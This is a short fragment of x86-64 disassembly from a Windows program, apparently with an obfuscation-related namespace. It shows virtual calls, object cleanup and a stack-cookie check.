lea rax, vtable.obf::next_step_functor_class__int___cdecl_WinMain_struct_HINSTANCE______ptr64__struct_HINSTANCE______ptr64__char____ptr64__int_::_4::_lambda_3__.0
mov qword [rdi], rax
lea rax, [rsp + 0x5c]
mov qword [rdi + 8], rax
mov qword [rsp + 0x48], rdi
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
test al, al
je 0x140002ecd
test rbx, rbx
je 0x140002edb
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
jmp 0x140002edb
test rdi, rdi
je 0x140002edb
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
nop
mov edx, 8
mov rcx, rdi
call fcn.14000622c
mov edx, 8
mov rcx, rbx
call fcn.14000622c
mov edx, 8
mov rcx, rsi
call fcn.14000622c
nop
xor eax, eax
jmp 0x140002f0b
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400061d0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret